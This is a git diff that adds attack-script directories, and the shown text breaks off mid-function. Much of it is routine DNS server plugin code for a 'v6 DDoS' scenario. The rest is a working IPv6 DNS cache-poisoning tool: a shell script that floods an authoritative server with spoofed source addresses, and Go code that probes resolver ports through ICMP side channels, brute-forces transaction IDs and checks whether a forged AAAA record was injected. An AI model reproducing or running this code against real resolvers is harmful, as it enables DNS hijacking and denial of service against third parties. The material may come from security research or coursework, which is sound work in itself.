+ "ohmydns2/plugin/pkg/uniq"
+ "ohmydns2/plugin/prometheus/vars"
+
+ "github.com/coredns/caddy"
+
+ "runtime"
+)
+
+var (
+ log = olog.NewWithPlugin("prometheus")
+ u = uniq.New()
+ registry = newReg()
+)
+
+func init() { plugin.Register("prometheus", setup) }
+
+func setup(c *caddy.Controller) error {
+ m, err := parse(c)
+ if err != nil {
+ return plugin.Error("prometheus", err)
+ }
+ m.Reg = registry.getOrSet(m.Addr, m.Reg)
+
+ c.OnStartup(func() error { m.Reg = registry.getOrSet(m.Addr, m.Reg); u.Set(m.Addr, m.OnStartup); return nil })
+ c.OnRestartFailed(func() error { m.Reg = registry.getOrSet(m.Addr, m.Reg); u.Set(m.Addr, m.OnStartup); return nil })
+
+ c.OnStartup(func() error { return u.ForEach() })
+ c.OnRestartFailed(func() error { return u.ForEach() })
+
+ c.OnStartup(func() error {
+ conf := dnsserver.GetConfig(c)
+ for _, h := range conf.ListenHosts {
+ addrstr := conf.Transport + "://" + net.JoinHostPort(h, conf.Port)
+ for _, p := range conf.Handlers() {
+ vars.PluginEnabled.WithLabelValues(addrstr, conf.Zone, conf.ViewName, p.Name()).Set(1)
+ }
+ }
+ return nil
+ })
+ c.OnRestartFailed(func() error {
+ conf := dnsserver.GetConfig(c)
+ for _, h := range conf.ListenHosts {
+ addrstr := conf.Transport + "://" + net.JoinHostPort(h, conf.Port)
+ for _, p := range conf.Handlers() {
+ vars.PluginEnabled.WithLabelValues(addrstr, conf.Zone, conf.ViewName, p.Name()).Set(1)
+ }
+ }
+ return nil
+ })
+
+ c.OnRestart(m.OnRestart)
+ c.OnRestart(func() error { vars.PluginEnabled.Reset(); return nil })
+ c.OnFinalShutdown(m.OnFinalShutdown)
+
+ // Initialize metrics.
+ buildInfo.WithLabelValues(ohmain.OMVersion, ohmain.GitCommit, runtime.Version()).Set(1)
+
+ dnsserver.GetConfig(c).AddPlugin(func(next plugin.Handler) plugin.Handler {
+ m.Next = next
+ return m
+ })
+
+ return nil
+}
+
+func parse(c *caddy.Controller) (*Metrics, error) {
+ met := New(defaultAddr)
+
+ i := 0
+ for c.Next() {
+ if i > 0 {
+ return nil, plugin.ErrOnce
+ }
+ i++
+
+ zones := plugin.OriginsFromArgsOrServerBlock(nil /* args */, c.ServerBlockKeys)
+ for _, z := range zones {
+ met.AddZone(z)
+ }
+ args := c.RemainingArgs()
+
+ switch len(args) {
+ case 0:
+ case 1:
+ met.Addr = args[0]
+ _, _, e := net.SplitHostPort(met.Addr)
+ if e != nil {
+ return met, e
+ }
+ default:
+ return met, c.ArgErr()
+ }
+ }
+ return met, nil
+}
+
+// defaultAddr is the address the where the metrics are exported by default.
+const defaultAddr = "localhost:9153"
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prometheus/vars/monitor.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prometheus/vars/monitor.go
new file mode 100644
index 0000000..084a6cf
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prometheus/vars/monitor.go
@@ -0,0 +1,34 @@
+package vars
+
+import "github.com/miekg/dns"
+
+var monitorType = map[uint16]struct{}{
+ dns.TypeAAAA: {},
+ dns.TypeA: {},
+ dns.TypeCNAME: {},
+ dns.TypeDNSKEY: {},
+ dns.TypeDS: {},
+ dns.TypeMX: {},
+ dns.TypeNSEC3: {},
+ dns.TypeNSEC: {},
+ dns.TypeNS: {},
+ dns.TypePTR: {},
+ dns.TypeRRSIG: {},
+ dns.TypeSOA: {},
+ dns.TypeSRV: {},
+ dns.TypeTXT: {},
+ dns.TypeHTTPS: {},
+ // Meta Qtypes
+ dns.TypeIXFR: {},
+ dns.TypeAXFR: {},
+ dns.TypeANY: {},
+}
+
+// qTypeString returns the RR type based on monitorType. It returns the text representation
+// of those types. RR types not in that list will have "other" returned.
+func qTypeString(qtype uint16) string {
+ if _, known := monitorType[qtype]; known {
+ return dns.Type(qtype).String()
+ }
+ return "other"
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prometheus/vars/report.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prometheus/vars/report.go
new file mode 100644
index 0000000..9ea9ba1
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prometheus/vars/report.go
@@ -0,0 +1,32 @@
+package vars
+
+import (
+ "ohmydns2/plugin/pkg/request"
+ "time"
+)
+
+// Report reports the metrics data associated with request. This function is exported because it is also
+// called from core/dnsserver to report requests hitting the server that should not be handled and are thus
+// not sent down the plugin chain.
+func Report(server string, req request.Request, zone, view, rcode, plugin string, size int, start time.Time) {
+ // Proto and Family.
+ net := req.Proto()
+ fam := "1"
+ if req.Family() == 2 {
+ fam = "2"
+ }
+
+ if req.Do() {
+ RequestDo.WithLabelValues(server, zone, view).Inc()
+ }
+
+ qType := qTypeString(req.QType())
+ RequestCount.WithLabelValues(server, zone, view, net, fam, qType).Inc()
+
+ RequestDuration.WithLabelValues(server, zone, view).Observe(time.Since(start).Seconds())
+
+ ResponseSize.WithLabelValues(server, zone, view, net).Observe(float64(size))
+ RequestSize.WithLabelValues(server, zone, view, net).Observe(float64(req.Len()))
+
+ ResponseRcode.WithLabelValues(server, zone, view, rcode, plugin).Inc()
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prometheus/vars/vars.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prometheus/vars/vars.go
new file mode 100644
index 0000000..2f368bb
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prometheus/vars/vars.go
@@ -0,0 +1,88 @@
+package vars
+
+import (
+ "github.com/prometheus/client_golang/prometheus"
+ "github.com/prometheus/client_golang/prometheus/promauto"
+ "ohmydns2/plugin"
+)
+
+// Request* and Response* are the prometheus counters and gauges we are using for exporting metrics.
+var (
+ RequestCount = promauto.NewCounterVec(prometheus.CounterOpts{
+ Namespace: plugin.Namespace,
+ Subsystem: subsystem,
+ Name: "requests_total",
+ Help: "Counter of DNS requests made per zone, protocol and family.",
+ }, []string{"server", "zone", "view", "proto", "family", "type"})
+
+ RequestDuration = promauto.NewHistogramVec(prometheus.HistogramOpts{
+ Namespace: plugin.Namespace,
+ Subsystem: subsystem,
+ Name: "request_duration_seconds",
+ Buckets: plugin.TimeBuckets,
+ Help: "Histogram of the time (in seconds) each request took per zone.",
+ }, []string{"server", "zone", "view"})
+
+ RequestSize = promauto.NewHistogramVec(prometheus.HistogramOpts{
+ Namespace: plugin.Namespace,
+ Subsystem: subsystem,
+ Name: "request_size_bytes",
+ Help: "Size of the EDNS0 UDP buffer in bytes (64K for TCP) per zone and protocol.",
+ Buckets: []float64{0, 100, 200, 300, 400, 511, 1023, 2047, 4095, 8291, 16e3, 32e3, 48e3, 64e3},
+ }, []string{"server", "zone", "view", "proto"})
+
+ RequestDo = promauto.NewCounterVec(prometheus.CounterOpts{
+ Namespace: plugin.Namespace,
+ Subsystem: subsystem,
+ Name: "do_requests_total",
+ Help: "Counter of DNS requests with DO bit set per zone.",
+ }, []string{"server", "zone", "view"})
+
+ ResponseSize = promauto.NewHistogramVec(prometheus.HistogramOpts{
+ Namespace: plugin.Namespace,
+ Subsystem: subsystem,
+ Name: "response_size_bytes",
+ Help: "Size of the returned response in bytes.",
+ Buckets: []float64{0, 100, 200, 300, 400, 511, 1023, 2047, 4095, 8291, 16e3, 32e3, 48e3, 64e3},
+ }, []string{"server", "zone", "view", "proto"})
+
+ ResponseRcode = promauto.NewCounterVec(prometheus.CounterOpts{
+ Namespace: plugin.Namespace,
+ Subsystem: subsystem,
+ Name: "responses_total",
+ Help: "Counter of response status codes.",
+ }, []string{"server", "zone", "view", "rcode", "plugin"})
+
+ Panic = promauto.NewCounter(prometheus.CounterOpts{
+ Namespace: plugin.Namespace,
+ Name: "panics_total",
+ Help: "A metrics that counts the number of panics.",
+ })
+
+ PluginEnabled = promauto.NewGaugeVec(prometheus.GaugeOpts{
+ Namespace: plugin.Namespace,
+ Name: "plugin_enabled",
+ Help: "A metric that indicates whether a plugin is enabled on per server and zone basis.",
+ }, []string{"server", "zone", "view", "name"})
+
+ HTTPSResponsesCount = promauto.NewCounterVec(prometheus.CounterOpts{
+ Namespace: plugin.Namespace,
+ Subsystem: subsystem,
+ Name: "https_responses_total",
+ Help: "Counter of DoH responses per server and http status code.",
+ }, []string{"server", "status"})
+ HTTPResponsesCount = promauto.NewCounterVec(prometheus.CounterOpts{
+ Namespace: plugin.Namespace,
+ Subsystem: probesubsystem,
+ Name: "http_responses_total",
+ Help: "Counter of HTTP responses per server and http status code.",
+ }, []string{"server", "status"})
+)
+
+const (
+ subsystem = "dns"
+ probesubsystem = "probe"
+
+ // Dropped indicates we dropped the query before any handling. It has no closing dot, so it can not be a valid zone.
+ Dropped = "dropped"
+)
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/register.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/register.go
new file mode 100644
index 0000000..b3b7a14
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/register.go
@@ -0,0 +1,19 @@
+package plugin
+
+import "github.com/coredns/caddy"
+
+// Register registers your plugin with OhmyDNS2 and allows it to be called when the server is running.
+func Register(name string, action caddy.SetupFunc) {
+ caddy.RegisterPlugin(name, caddy.Plugin{
+ ServerType: "dns",
+ Action: action,
+ })
+}
+
+// ProbeRegister registers your plugin with OhmyDNS2 and allows it to be called when the prober is running.
+func ProbeRegister(name string, action caddy.SetupFunc) {
+ caddy.RegisterPlugin(name, caddy.Plugin{
+ ServerType: "dnsprober",
+ Action: action,
+ })
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/whoami/setup.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/whoami/setup.go
new file mode 100644
index 0000000..9ab99bc
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/whoami/setup.go
@@ -0,0 +1,22 @@
+package whoami
+
+import (
+ "github.com/coredns/caddy"
+ "ohmydns2/core/dnsserver"
+ "ohmydns2/plugin"
+)
+
+func init() { plugin.Register("whoami", setup) }
+
+func setup(c *caddy.Controller) error {
+ c.Next() // 'whoami'
+ if c.NextArg() {
+ return plugin.Error("whoami", c.ArgErr())
+ }
+
+ dnsserver.GetConfig(c).AddPlugin(func(next plugin.Handler) plugin.Handler {
+ return Whoami{}
+ })
+
+ return nil
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/whoami/whoami.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/whoami/whoami.go
new file mode 100644
index 0000000..4c18ec0
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/whoami/whoami.go
@@ -0,0 +1,56 @@
+package whoami
+
+import (
+ "context"
+ "github.com/miekg/dns"
+ "net"
+ "ohmydns2/plugin/pkg/request"
+ "strconv"
+)
+
+const name = "whoami"
+
+// Whoami is a plugin that returns your IP address, port and the protocol used for connecting
+// to CoreDNS.
+type Whoami struct{}
+
+// ServeDNS implements the plugin.Handler interface.
+func (wh Whoami) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) {
+ state := request.Request{W: w, Req: r}
+
+ a := new(dns.Msg)
+ a.SetReply(r)
+ a.Authoritative = true
+
+ ip := state.IP()
+ var rr dns.RR
+
+ switch state.Family() {
+ case 1:
+ rr = new(dns.A)
+ rr.(*dns.A).Hdr = dns.RR_Header{Name: state.QName(), Rrtype: dns.TypeA, Class: state.QClass()}
+ rr.(*dns.A).A = net.ParseIP(ip).To4()
+ case 2:
+ rr = new(dns.AAAA)
+ rr.(*dns.AAAA).Hdr = dns.RR_Header{Name: state.QName(), Rrtype: dns.TypeAAAA, Class: state.QClass()}
+ rr.(*dns.AAAA).AAAA = net.ParseIP(ip)
+ }
+
+ srv := new(dns.SRV)
+ srv.Hdr = dns.RR_Header{Name: "_" + state.Proto() + "." + state.QName(), Rrtype: dns.TypeSRV, Class: state.QClass()}
+ if state.QName() == "." {
+ srv.Hdr.Name = "_" + state.Proto() + state.QName()
+ }
+ port, _ := strconv.ParseUint(state.Port(), 10, 16)
+ srv.Port = uint16(port)
+ srv.Target = "."
+
+ a.Extra = []dns.RR{rr, srv}
+
+ w.WriteMsg(a)
+
+ return 0, nil
+}
+
+// Name implements the Handler interface.
+func (wh Whoami) Name() string { return name }
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin_gen.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin_gen.go
new file mode 100644
index 0000000..094236a
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin_gen.go
@@ -0,0 +1,126 @@
+//go:build ignore
+
+// 用于自动生成core/plug/zplugin.go和core/dnsserver/zdirectives.go的内容
+package main
+
+import (
+ "bufio"
+ "go/format"
+ "log"
+ "os"
+ "strings"
+)
+
+func main() {
+ mi := make(map[string]string, 0)
+ md := []string{}
+ pmd := []string{}
+
+ file, err := os.Open(pluginFile)
+ if err != nil {
+ log.Fatalf("Failed to open %s: %q", pluginFile, err)
+ }
+
+ defer file.Close()
+
+ scanner := bufio.NewScanner(file)
+ for scanner.Scan() {
+ line := scanner.Text()
+ if strings.HasPrefix(line, "#") {
+ continue
+ }
+
+ items := strings.Split(line, ":")
+ if len(items) != 2 {
+ // ignore empty lines
+ continue
+ }
+ name, repo := items[0], items[1]
+ // 判断是否重复
+ if _, ok := mi[name]; ok {
+ log.Fatalf("Duplicate entry %q", name)
+ }
+
+ if _, err := os.Stat(pluginFSPath + repo); err != nil { // External package has been given
+ if _, err = os.Stat(proberPluginFSPath + repo); err == nil {
+ mi[name] = proberPluginPath + repo //探测端插件
+ pmd = append(pmd, name)
+ continue
+ } else {
+ panic(err.Error())
+ mi[name] = repo
+ }
+ } else {
+ mi[name] = pluginPath + repo // 服务端插件
+ md = append(md, name)
+ }
+ }
+
+ genImports("core/plug/zplugin.go", "plugin", mi)
+ // 服务端
+ genDirectives("core/dnsserver/zdirectives.go", "dnsserver", md)
+ // 探测端
+ genDirectives("core/prober/pdirectives.go", "prober", pmd)
+}
+
+func genImports(file, pack string, mi map[string]string) {
+ outs := header + "package " + pack + "\n\n" + "import ("
+
+ if len(mi) > 0 {
+ outs += "\n"
+ }
+
+ outs += "// Include all plugins.\n"
+ for _, v := range mi {
+ outs += `_ "` + v + `"` + "\n"
+ }
+ outs += ")\n"
+
+ if err := formatAndWrite(file, outs); err != nil {
+ log.Fatalf("Failed to format and write: %q", err)
+ }
+}
+
+func genDirectives(file, pack string, md []string) {
+ outs := header + "package " + pack + "\n\n"
+ outs += `
+// Directives are registered in the order they should be
+// executed.
+//
+// Ordering is VERY important. Every plugin will
+// feel the effects of all other plugin below
+// (after) them during a request, but they must not
+// care what plugin above them are doing.
+var Directives = []string{
+`
+ // 插件列表生成
+ for i := range md {
+ outs += `"` + md[i] + `",` + "\n"
+ }
+ outs += "}\n"
+
+ if err := formatAndWrite(file, outs); err != nil {
+ log.Fatalf("Failed to format and write: %q", err)
+ }
+}
+
+func formatAndWrite(file string, data string) error {
+ res, err := format.Source([]byte(data))
+ if err != nil {
+ return err
+ }
+
+ if err = os.WriteFile(file, res, 0644); err != nil {
+ return err
+ }
+ return nil
+}
+
+const (
+ pluginPath = "ohmydns2/plugin/"
+ proberPluginPath = "ohmydns2/plugin/prober/"
+ pluginFile = "plugin.cfg"
+ pluginFSPath = "plugin/" // Where the plugins are located on the file system
+ proberPluginFSPath = "plugin/prober/" // 探测器插件在文件系统中的位置
+ header = "// generated by plugin_gen.go; DO NOT EDIT\n\n"
+)
diff --git a/att script/4(v6 DDoS)/说明文档.docx b/att script/4(v6 DDoS)/说明文档.docx
new file mode 100644
index 0000000..8c41fa7
--- /dev/null
+++ b/att script/4(v6 DDoS)/说明文档.docx
Binary files differ
diff --git a/att script/5(v6注入)/code/attack.sh b/att script/5(v6注入)/code/attack.sh
new file mode 100644
index 0000000..d67ca19
--- /dev/null
+++ b/att script/5(v6注入)/code/attack.sh
@@ -0,0 +1,3 @@
+chmod 777 ./start.sh
+chmod 777 ./dns_query.sh
+./start.sh $1 $2 $3 $4 $5 \ No newline at end of file
diff --git a/att script/5(v6注入)/code/dns_OPT.bin b/att script/5(v6注入)/code/dns_OPT.bin
new file mode 100644
index 0000000..e0dcbc1
--- /dev/null
+++ b/att script/5(v6注入)/code/dns_OPT.bin
Binary files differ
diff --git a/att script/5(v6注入)/code/dns_end.bin b/att script/5(v6注入)/code/dns_end.bin
new file mode 100644
index 0000000..8aa4774
--- /dev/null
+++ b/att script/5(v6注入)/code/dns_end.bin
Binary files differ
diff --git a/att script/5(v6注入)/code/dns_query.sh b/att script/5(v6注入)/code/dns_query.sh
new file mode 100644
index 0000000..dbc0266
--- /dev/null
+++ b/att script/5(v6注入)/code/dns_query.sh
@@ -0,0 +1,8 @@
+# usage ./dns_query.sh [NS IP] [Resolver IP(spoofed as source IP)] domain... (e.g. www google com)
+# write the domain name into the binary
+echo "初始化工具环境"
+# change the sending speed if necessary (-i). Set it to "flood" (replace -i with --flood) to maximize the power.
+# fire!
+go version
+echo "尝试触发权威服务器请求速率限制"
+./flood -i $4 -saddr $2 -taddr $1 -q $3
diff --git a/att script/5(v6注入)/code/dns_start.bin b/att script/5(v6注入)/code/dns_start.bin
new file mode 100644
index 0000000..e6e4242
--- /dev/null
+++ b/att script/5(v6注入)/code/dns_start.bin
Binary files differ
diff --git a/att script/5(v6注入)/code/src/fakedns6/attack.go b/att script/5(v6注入)/code/src/fakedns6/attack.go
new file mode 100644
index 0000000..6cc6f87
--- /dev/null
+++ b/att script/5(v6注入)/code/src/fakedns6/attack.go
@@ -0,0 +1,685 @@
+package main
+
+import (
+ "flag"
+ "fmt"
+ "github.com/google/gopacket"
+ "log"
+ "math/rand"
+ "net"
+ "os"
+ "strconv"
+ "sync"
+ "time"
+
+ "github.com/google/gopacket/layers"
+ "github.com/google/gopacket/pcap"
+ "github.com/google/gopacket/routing"
+)
+
+var handle *pcap.Handle
+var ethernetLayer *layers.Ethernet
+var victimDNSName string
+var dnsQueryName string
+var authIP net.IP
+var resolverIP net.IP
+var localIP []net.IP
+var defaultJitter uint
+var gotReply = false
+var attackerControlledDomain string
+var attackForwarder bool
+var repeatTimes int
+var timeGap uint
+var attTargetAddr string
+var soaName string
+
+var jitter uint = 10
+var rtt uint = 1 // in ms
+var debugOutput = true
+
+const GROUP_SIZE = 50
+
+/* I'm not sure what's this used for. Probably used with older version where multiple IPs is not supported. */
+//var sendingChannel chan *outgoingPacket
+var backendResolvers = make([]*backendResolver, 0)
+var bruteForceShouldBeKilled = false
+
+type backendResolver = struct {
+ resolverBackendIP net.IP
+
+ // [端口组ID][端口]
+ groups [][]uint16 // = make([][]uint16, 65536)
+ groupIDCounter uint32 // = 3
+ groupIDCounterLock *sync.Mutex
+ groupSendTime []time.Time // = make([]time.Time, 65536)
+
+ probeChannel chan uint32 //= make(chan uint16, 655)
+ priorityProbeChannel chan uint32 //= make(chan uint16, 655)
+ alwaysOpenPorts []bool //= make([]bool, 65536)
+
+ perIPLimitCounter []int //= 6
+
+ networkXmitLock *sync.Mutex
+}
+
+// timeout in ms, 持续触发查询请求
+func dnsRequestSender(timeout uint) {
+ for {
+ gotReply = false
+ sendDNSRequest(uint16(rand.Uint32()), dnsQueryName)
+ retryTimes := timeout / 500
+ for {
+ if !gotReply {
+ time.Sleep(500 * time.Millisecond)
+ retryTimes--
+ if retryTimes == 0 {
+ break
+ }
+ } else {
+ if debugOutput {
+ fmt.Println("接收到响应 ", timeout-retryTimes*500, "ms")
+ } else {
+ fmt.Println("Rx")
+ }
+ break
+ }
+ }
+ if !attackForwarder {
+ //dnsQueryName = strconv.Itoa(rand.Int()) + "." + victimDNSName
+ dnsQueryName = victimDNSName
+ } else {
+ /* I'm not sure if we should change the nonce. */
+ dnsQueryName = strconv.Itoa(rand.Int()) + "." + attackerControlledDomain
+ }
+ }
+}
+
+func receivingThread() {
+ for {
+ data, captureInfo, err := handle.ReadPacketData()
+ if err == pcap.NextErrorTimeoutExpired {
+ continue
+ } else if err != nil {
+ log.Printf("error reading packet: %v", err)
+ continue
+ }
+
+ // Parse the packet. We'd use DecodingLayerParser here if we
+ // wanted to be really fast.
+ packet := gopacket.NewPacket(data, layers.LayerTypeEthernet, gopacket.NoCopy)
+
+ // Find the packets we care about, and print out logging
+ // information about them. All others are ignored.
+ if rspNet := packet.NetworkLayer(); rspNet == nil {
+ continue
+ } else if rspIPLayer := packet.Layer(layers.LayerTypeIPv6); rspIPLayer == nil {
+ continue
+ //} else if rspIP := rspIPLayer.(*layers.IPv4); rspIP == nil {
+ } else if rspIP := rspIPLayer.(*layers.IPv6); rspIP == nil {
+ continue
+ } else if rspIP.NextHeader != layers.IPProtocolICMPv6 {
+ if rspIP.FlowLabel != 2 && rspIP.NextHeader == layers.IPProtocolUDP && compareIPv6Addr(rspIP.SrcIP, resolverIP) == 0 {
+ rspUDPLayer := packet.Layer(layers.LayerTypeUDP)
+ if rspUDPLayer != nil && rspUDPLayer.(*layers.UDP).SrcPort == 53 {
+ rspDNSLayer := packet.Layer(layers.LayerTypeDNS)
+ if rspDNSLayer != nil {
+ rspDNS := rspDNSLayer.(*layers.DNS)
+ if rspDNS.QR == true {
+ if len(rspDNS.Authorities) != 0 && rspDNS.ResponseCode == layers.DNSResponseCodeNXDomain && string(rspDNS.Questions[0].Name) == dnsQueryName &&
+ string(rspDNS.Authorities[0].Name) == victimDNSName && string(rspDNS.Authorities[0].SOA.MName) == soaName {
+ fmt.Println("Success!!")
+ os.Exit(0)
+ } else if string(rspDNS.Questions[0].Name) == dnsQueryName && rspDNS.ResponseCode == layers.DNSResponseCodeNoErr {
+ for _, record := range rspDNS.Answers {
+ if record.Type == layers.DNSTypeAAAA {
+ fmt.Println("AAAA记录修改成功!!")
+ os.Exit(0)
+ }
+ }
+ } else if string(rspDNS.Questions[0].Name) == dnsQueryName {
+ gotReply = true
+ }
+ }
+ }
+ }
+ }
+ continue
+ } else if rspICMPLayer := packet.Layer(layers.LayerTypeICMPv6); rspICMPLayer == nil {
+ continue
+ } else if rspICMP, ok := rspICMPLayer.(*layers.ICMPv6); !ok {
+ continue
+ } else if rspICMP.TypeCode != layers.CreateICMPv6TypeCode(layers.ICMPv6TypeDestinationUnreachable, layers.ICMPv6CodePortUnreachable) &&
+ rspICMP.TypeCode != layers.CreateICMPv6TypeCode(layers.ICMPv6TypeDestinationUnreachable, layers.ICMPv6CodeAdminProhibited) {
+ continue
+ } else if nestedIpData := rspICMP.Payload; nestedIpData == nil {
+ continue
+ } else if nestedIpPacket := gopacket.NewPacket(nestedIpData, layers.LayerTypeIPv6, gopacket.NoCopy); nestedIpPacket == nil {
+ continue
+ } else if nestedIpLayer := nestedIpPacket.Layer(layers.LayerTypeIPv6); nestedIpLayer == nil {
+ continue
+ } else if nestedIp := nestedIpLayer.(*layers.IPv6); nestedIp == nil {
+ continue
+ } else {
+ r := getBackendResolver(nestedIp.DstIP)
+ if r != nil {
+
+ nestedUDPLayer := nestedIpPacket.Layer(layers.LayerTypeUDP)
+ if nestedUDPLayer == nil {
+ fmt.Println("nestedUDPLayer == nil")
+ continue
+ }
+ nestedUDP := nestedUDPLayer.(*layers.UDP)
+ if nestedUDP == nil {
+ fmt.Println("nestedUDP == nil")
+ continue
+ }
+
+ //got verification packet back
+ if nestedIp.FlowLabel > 1 {
+ //update rtt
+ /* Potential BUG: rtt of both resolver may not be the same. */
+ newrtt := captureInfo.Timestamp.Sub(r.groupSendTime[nestedIp.FlowLabel]).Nanoseconds()/1000000 + 1
+ if newrtt >= 0 && newrtt < 5000 {
+ var draftJitter uint = 0
+ if uint(newrtt) > rtt {
+ draftJitter = uint(newrtt) - rtt
+ } else {
+ draftJitter = (jitter + (rtt - uint(newrtt))) / 2
+ }
+ if jitter > 30 {
+ fmt.Println("Jitter > 30ms!")
+ jitter = 10
+ } else {
+ jitter = draftJitter
+ }
+ rtt = uint(newrtt)
+ if debugOutput {
+ fmt.Println("rtt=", rtt, ", jitter=", jitter)
+ }
+ } else {
+ fmt.Println("newrtt error:", newrtt)
+ }
+ //reduce ratelimit counter
+ localIPNum := getLocalIPNum(nestedIp.SrcIP)
+ if localIPNum != -1 {
+ if r.perIPLimitCounter[localIPNum] >= 0 {
+ r.perIPLimitCounter[localIPNum]--
+ }
+ if r.perIPLimitCounter[localIPNum] < 0 {
+ if debugOutput {
+ /* This may happen in real attacks. Don't panic :). */
+ fmt.Println(r.resolverBackendIP, "bug: perIPLimitCounter < 0")
+ }
+ }
+ if debugOutput {
+ fmt.Println(r.resolverBackendIP, "remaining counter:", localIPNum, r.perIPLimitCounter[localIPNum])
+ }
+ } else {
+ if debugOutput {
+ fmt.Println("received unwanted ICMP for", nestedIp.SrcIP)
+ }
+ }
+ //process the packet
+ binarySearch(r, nestedIp.FlowLabel)
+ }
+ }
+ }
+ }
+}
+
+func binarySearch(r *backendResolver, flowlabel uint32) {
+ groupLen := 0
+ group := r.groups[flowlabel]
+
+ for _, port := range group {
+ if port != 65535 {
+ groupLen++
+ } else {
+ break
+ }
+ }
+
+ if groupLen == 1 {
+ //brute force
+ r.networkXmitLock.Lock()
+ fmt.Println("猜测开放端口为: " + strconv.Itoa(int(group[0])))
+ dnsBruteForce(group[0], timeGap, r.resolverBackendIP, attTargetAddr)
+ r.networkXmitLock.Unlock()
+ r.alwaysOpenPorts[group[0]] = true
+ } else if groupLen > 1 {
+ var repeatTimes1 int
+ if repeatTimes > 1 {
+ repeatTimes1 = repeatTimes + 1
+ } else {
+ repeatTimes1 = 1
+ }
+ for j := 0; j < repeatTimes1; j++ {
+ //二分法定位开放端口
+ //left
+ id := allocateGroupID(r)
+ r.groups[id] = make([]uint16, groupLen/2)
+ copy(r.groups[id], group[0:groupLen/2])
+ for len(r.groups[id]) < GROUP_SIZE {
+ r.groups[id] = append(r.groups[id], 65535)
+ }
+ if debugOutput {
+ fmt.Println(r.resolverBackendIP, "bs", r.groups[id][0], "+", groupLen/2)
+ } else {
+ fmt.Println("Found something interesting!")
+ }
+ r.priorityProbeChannel <- flowlabel
+
+ //right
+ id = allocateGroupID(r)
+ r.groups[id] = make([]uint16, groupLen-groupLen/2)
+ copy(r.groups[id], group[groupLen/2:groupLen])
+ for len(r.groups[id]) < GROUP_SIZE {
+ r.groups[id] = append(r.groups[id], 65535)
+ }
+ //fmt.Println(r.resolverBackendIP, "bsr", r.groups[id][0], "+", groupLen-groupLen/2)
+ r.priorityProbeChannel <- flowlabel
+ }
+ } else {
+ if debugOutput {
+ fmt.Println(r.resolverBackendIP, "bug: groupLen <= 0, id=", flowlabel)
+ for _, port := range group {
+ fmt.Print(port)
+ }
+ }
+ }
+}
+
+func perIPLimitRecover(r *backendResolver, num int) {
+ for {
+ if r.perIPLimitCounter[num] < 6 {
+ time.Sleep(time.Second + (time.Duration(defaultJitter)+50)*time.Millisecond)
+ r.perIPLimitCounter[num]++
+ } else {
+ time.Sleep((time.Duration(defaultJitter) + 1) * time.Millisecond)
+ }
+ }
+}
+
+func probeSender(r *backendResolver) {
+ for {
+
+ var flow uint32
+ select {
+ case flow = <-r.priorityProbeChannel:
+ break
+ case flow = <-r.probeChannel:
+ break
+ //default:
+ // time.Sleep(time.Microsecond)
+ }
+
+ // 当所有IP都测试过且端口组中只有一个端口时,进行TXID暴力破解
+ if getIPwithAvailableCounter(r) == nil && r.groups[flow][1] == 65535 {
+ //brute force
+ fmt.Println("猜测开放端口为:" + strconv.Itoa(int(r.groups[flow][0])))
+ fmt.Println("开始爆破事务ID")
+ r.networkXmitLock.Lock()
+ dnsBruteForce(r.groups[flow][0], timeGap, r.resolverBackendIP, attTargetAddr)
+ r.networkXmitLock.Unlock()
+ r.alwaysOpenPorts[r.groups[flow][0]] = true
+ continue
+ }
+ // 测试每个IP的速率限制
+ var verifyIP net.IP
+ for {
+ verifyIP = getIPwithAvailableCounter(r)
+ if verifyIP == nil {
+ time.Sleep(time.Millisecond)
+ } else {
+ break
+ }
+ }
+
+ //send
+ ports := r.groups[flow]
+ r.networkXmitLock.Lock()
+ for i := 0; i < GROUP_SIZE; i++ {
+ if defaultJitter <= 3 {
+ if attackForwarder {
+ xmitUDPv6(authIP, r.resolverBackendIP, 53, layers.UDPPort(ports[i]), flow, 100)
+ } else {
+ xmitUDPv6(authIP, r.resolverBackendIP, 53, layers.UDPPort(ports[i]), flow, 1)
+ }
+ } else {
+ xmitUDPv6(authIP, r.resolverBackendIP, 53, layers.UDPPort(ports[i]), flow, 0)
+ }
+ }
+ time.Sleep(time.Duration(defaultJitter) * time.Millisecond)
+ // 验证
+ xmitUDPv6(verifyIP, r.resolverBackendIP, 53, 65535, flow, 10)
+ r.groupSendTime[flow] = time.Now()
+ if rand.Uint32()%100 < 2 {
+ if debugOutput {
+ fmt.Println("目标"+r.resolverBackendIP.String(), "探测中", "当前端口范围"+strconv.Itoa(int(ports[0]))+"~~"+strconv.Itoa(int(ports[0]+49)))
+ } else {
+ fmt.Println("开放端口猜测中,请稍后...")
+ }
+ }
+
+ // 等待全局计数器恢复
+ if !attackForwarder {
+ time.Sleep(time.Duration(60-defaultJitter) * time.Millisecond)
+ } else {
+ /* IDK why I wrote this line. Forwarders should be the same as resolvers if they support global rate limit. */
+ time.Sleep(time.Duration(60) * time.Millisecond)
+ }
+ r.networkXmitLock.Unlock()
+ }
+}
+
+// 划分端口
+func portGroupFormer(r *backendResolver, startPort uint, endPort uint) {
+ for {
+ //divide into groups
+ var id uint32 = 0
+ var currentGroupSize = 0
+
+ for i := startPort; i <= endPort; i++ {
